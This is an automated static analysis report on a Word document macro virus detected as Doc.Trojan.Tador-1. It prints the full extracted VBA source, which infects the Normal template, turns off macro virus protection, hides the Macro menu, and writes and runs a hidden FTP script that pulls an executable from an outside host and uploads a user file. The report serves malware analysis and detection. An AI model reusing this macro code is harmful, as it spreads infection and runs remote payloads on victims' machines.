Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 734dcb39e9410f17…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-06-16 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e62fc4f49bddf9ce3342064f36ef78e2 SHA-1: e50fbe1ba5262179ebee909961192536f65fee45 SHA-256: 734dcb39e9410f17974e5aa25637c414afa952bee988e2acecc1fa5c321fabc5
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro triggers the VTI subroutine, which attempts to export and import VBA components, potentially modifying the Normal template and system registry keys. The VTI subroutine also writes to 'HKEY_CURRENT_USER\VT' with a counter, suggesting an attempt at persistence or evasion. The ClamAV detection as 'Doc.Trojan.Tador-1' further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Tador-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tador-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9125 bytes
SHA-256: 55d341abc1a685a25086e361d585ad2875cda7fa3942e09f8366eeca83754f3e
Detection
ClamAV: Doc.Trojan.Tador-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VT"
Sub AutoOpen()
On Error Resume Next
    Call VTI
    Call VTP
    Call VTA
    ActiveDocument.Save
End Sub

Sub AutoClose()
On Error Resume Next
    Call VTI
    Call VTP
    Call VTA
    ActiveDocument.Save
End Sub

Sub AutoNew()
On Error Resume Next
    Call VTI
End Sub
Sub AutoExit()
On Error Resume Next
    Call VTI
End Sub

Sub VTI()
On Error Resume Next
Set Nor = NormalTemplate.VBProject.VBComponents
Set Doc = ActiveDocument.VBProject.VBComponents
For i = 1 To Nor.Count
If Nor.Item(i).Name <> "VT" Then
tam = Nor.Item(i).CodeModule.CountOfLines
If tam > 0 Then
Nor.Item(i).CodeModule.DeleteLines 1, tam
End If
End If
Next
If Nor.Item("VT").Name <> "VT" Then
Doc("VT").Export "c:\VT.001"
Nor.Import "c:\VT.001"
NormalTemplate.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont") = 0
End If
If Doc.Item("VT").Name <> "VT" Then
Nor("VT").Export "c:\VT.001"
Doc.Import "c:\VT.001"
Cont = System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont")
Cont = Cont + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont") = Cont
End If
End Sub
Sub VTP()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
WordBasic.DisableAutoMacros 0
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="MGA"
ActiveDocument.ReadOnlyRecommended = False
CommandBars("Tools").Controls("Macro").Visible = False
End Sub

Sub VTA()
On Error Resume Next
Nome = Left(Application.UserName, 4)
Qtd = System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont")
Open "c:\" & Nome & ".001" For Output As #1
Print #1, "Writer by SVX"
Print #1, "VXName: VT"
Print #1, "UserName: " & Nome
Print #1, "Contador: " & Qtd
Close #1
 
Open "c:\VT.ftp" For Output As #1
Print #1, "open ftp.hpg.com.br"
Print #1, "tlbysvx"
Print #1, "12345"
Print #1, "hash"
Print #1, "bin"
Print #1, "prompt"
Print #1, "lcd c:\"
Print #1, "mget vtm.exe"
Print #1, "send c:\" & Nome & ".001"
Print #1, "bye"
Close #1

Shell "c:\windows\ftp.exe -s:c:\VT.ftp", vbHide
Shell "c:\vtm.exe", vbHide

End Sub


' Processing file: /opt/analyzer/scan_staging/e8cd2c53f7954c75a5036332dee09e40.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/VT - 4874 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	ArgsCall (Call) VTI 0x0000 
' Line #3:
' 	ArgsCall (Call) VTP 0x0000 
' Line #4:
' 	ArgsCall (Call) VTA 0x0000 
' Line #5:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #6:
' 	EndSub 
' Line #7:
' Line #8:
' 	FuncDefn (Sub AutoClose())
' Line #9:
' 	OnError (Resume Next) 
' Line #10:
' 	ArgsCall (Call) VTI 0x0000 
' Line #11:
' 	ArgsCall (Call) VTP 0x0000 
' Line #12:
' 	ArgsCall (Call) VTA 0x0000 
' Line #13:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #14:
' 	EndSub 
' Line #15:
' Line #16:
' 	FuncDefn (Sub AutoNew())
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	ArgsCall (Call) VTI 0x0000 
' Line #19:
' 	EndSub 
' Line #20:
' 	FuncDefn (Sub AutoExit())
' Line #21:
' 	OnError (Resume Next) 
' Line #22:
' 	ArgsCall (Call) VTI 0x0000 
' Line #23:
' 	EndSub 
' Line #24:
' Line #25:
' 	FuncDefn (Sub VTI())
' Line #26:
' 	OnError (Resume Next) 
' Line #27:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Nor 
' Line #28:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Doc 
' Line #29:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Nor 
' 	MemLd Count 
' 	For 
' Line #30:
' 	Ld i 
' 	Ld Nor 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0002 "VT"
' 	Ne 
' 	IfBlock 
' Line #31:
' 	Ld i 
' 	Ld
... (truncated)